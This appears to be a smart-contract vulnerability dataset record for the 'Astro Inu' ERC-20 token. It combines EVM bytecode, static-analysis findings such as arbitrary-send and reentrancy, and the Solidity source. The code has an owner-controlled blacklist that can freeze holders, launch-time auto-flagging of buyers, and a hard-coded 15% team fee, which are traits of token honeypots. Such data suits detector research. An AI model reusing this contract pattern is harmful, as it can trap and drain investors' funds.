81526004016104c790611b3e565b6107956000611484565b565b6000546001600160a01b031633146107c15760405162461bcd60e51b81526004016104c790611b3e565b600c54600160a01b900460ff16156108295760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c7565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610880573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a49190611bd2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109159190611bd2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610962573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109869190611bd2565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a1c5760405162461bcd60e51b81526004016104c790611b3e565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f6338484610f85565b6000546001600160a01b03163314610aa35760405162461bcd60e51b81526004016104c790611b3e565b60005b81518110156106b357600c5482516001600160a01b0390911690839083908110610ad257610ad2611ba1565b60200260200101516001600160a01b031614158015610b235750600b5482516001600160a01b0390911690839083908110610b0f57610b0f611ba1565b60200260200101516001600160a01b031614155b15610b8057600160056000848481518110610b4057610b40611ba1565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b8a81611bb7565b915050610aa6565b6000546001600160a01b03163314610bbc5760405162461bcd60e51b81526004016104c790611b3e565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c075760405162461bcd60e51b81526004016104c790611b3e565b600f8110610c4a5760405162461bcd60e51b815260206004820152601060248201526f03237b713ba1031329033b932b2b23c960851b60448201526064016104c7565b600855565b6000546001600160a01b03163314610c795760405162461bcd60e51b81526004016104c790611b3e565b6001600160a01b038116610cde5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c7565b6104e681611484565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2f57610d2f611ba1565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dac9190611bd2565b81600181518110610dbf57610dbf611ba1565b6001600160a01b039283166020918202929092010152600b54610de59130911684610e61565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1e908590600090869030904290600401611bef565b600060405180830381600087803b158015610e3857600080fd5b505af1158015610e4c573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c7565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c7565b6001600160a01b03821661104b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c7565b600081116110ad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c7565b6001600160a01b03831660009081526005602052604090205460ff16156111555760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104c7565b6001600160a01b03831660009081526004602052604081205460ff1615801561119757506001600160a01b03831660009081526004602052604090205460ff16155b80156111ad5750600c54600160a81b900460ff16155b80156111dd5750600c546001600160a01b03858116911614806111dd5750600c546001600160a01b038481169116145b156113b457600c54600160b81b900460ff1661123b5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c7565b50600c546001906001600160a01b03858116911614801561126a5750600b546001600160a01b03848116911614155b8015611277575042600e54115b156112be5760006112878461073f565b90506112a760646112a16702c2a27f05d3400060026114d4565b90611553565b6112b18483611595565b11156112bc57600080fd5b505b600d544214156112ec576001600160a01b0383166000908152600560205260409020805460ff191660011790555b60006112f73061073f565b600c54909150600160b01b900460ff161580156113225750600c546001600160a01b03868116911614155b156113b25780156113b257600c54611356906064906112a190600f90611350906001600160a01b031661073f565b906114d4565b81111561138357600c54611380906064906112a190600f90611350906001600160a01b031661073f565b90505b600061139082600f611553565b905061139c8183611c60565b91506113a7816115f4565b6113b082610ce7565b505b505b6113c084848484611624565b50505050565b600081848411156113ea5760405162461bcd60e51b81526004016104c7919061190d565b5060006113f78486611c60565b95945050505050565b60006006548211156114675760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c7565b6000611471611727565b905061147d8382611553565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114e3575060006104fa565b60006114ef8385611c77565b9050826114fc8583611c96565b1461147d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c7565b600061147d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174a565b6000806115a28385611b89565b90508381101561147d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c7565b600c805460ff60b01b1916600160b01b1790556116143061dead83610f85565b50600c805460ff60b01b19169055565b808061163257611632611778565b60008060008061164187611794565b6001600160a01b038d166000908152600160205260409020549397509195509350915061166e90856117db565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461169d9084611595565b6001600160a01b0389166000908152600160205260409020556116bf8161181d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161170491815260200190565b60405180910390a3505050508061172057611720600954600855565b5050505050565b6000806000611734611867565b90925090506117438282611553565b9250505090565b6000818361176b5760405162461bcd60e51b81526004016104c7919061190d565b5060006113f78486611c96565b60006008541161178757600080fd5b6008805460095560009055565b6000806000806000806117a9876008546118a7565b9150915060006117b7611727565b90506000806117c78a85856118d4565b909b909a5094985092965092945050505050565b600061147d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113c6565b6000611827611727565b9050600061183583836114d4565b306000908152600160205260409020549091506118529082611595565b30600090815260016020526040902055505050565b60065460009081906702c2a27f05d340006118828282611553565b82101561189e575050600654926702c2a27f05d3400092509050565b90939092509050565b600080806118ba60646112a187876114d4565b905060006118c886836117db565b96919550909350505050565b600080806118e286856114d4565b905060006118f086866114d4565b905060006118fe83836117db565b92989297509195505050505050565b600060208083528351808285015260005b8181101561193a5785810183015185820160400152820161191e565b8181111561194c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e657600080fd5b803561198281611962565b919050565b6000806040838503121561199a57600080fd5b82356119a581611962565b946020939093013593505050565b6000806000606084860312156119c857600080fd5b83356119d381611962565b925060208401356119e381611962565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a1d57600080fd5b823567ffffffffffffffff80821115611a3557600080fd5b818501915085601f830112611a4957600080fd5b813581811115611a5b57611a5b6119f4565b8060051b604051601f19603f83011681018181108582111715611a8057611a806119f4565b604052918252848201925083810185019188831115611a9e57600080fd5b938501935b82851015611ac357611ab485611977565b84529385019392850192611aa3565b98975050505050505050565b600060208284031215611ae157600080fd5b813561147d81611962565b60008060408385031215611aff57600080fd5b8235611b0a81611962565b91506020830135611b1a81611962565b809150509250929050565b600060208284031215611b3757600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b60008219821115611b9c57611b9c611b73565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611bcb57611bcb611b73565b5060010190565b600060208284031215611be457600080fd5b815161147d81611962565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c3f5784516001600160a01b031683529383019391830191600101611c1a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c7257611c72611b73565b500390565b6000816000190483118215151615611c9157611c91611b73565b500290565b600082611cb357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f9af855a93acca304a648433f4602bcefc7ded223f2f83626a8db63b4776b4264736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,862
0xee90258bb239ac939c6e9d734c158b83bdca81a0
/* AstroInu Inu is going to launch in the Uniswap at July 4. This is fair launch and going to launch without any presale. tg: https://t.me/Astro_InuGroup twitter: https://twitter.com/AstroInu1 All crypto babies will become a AstroInu in here. Let's enjoy our launch! */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AstroInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Astro Inu"; string private constant _symbol = " ATInu "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280600981526020017f417374726f20496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f204154496e752000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b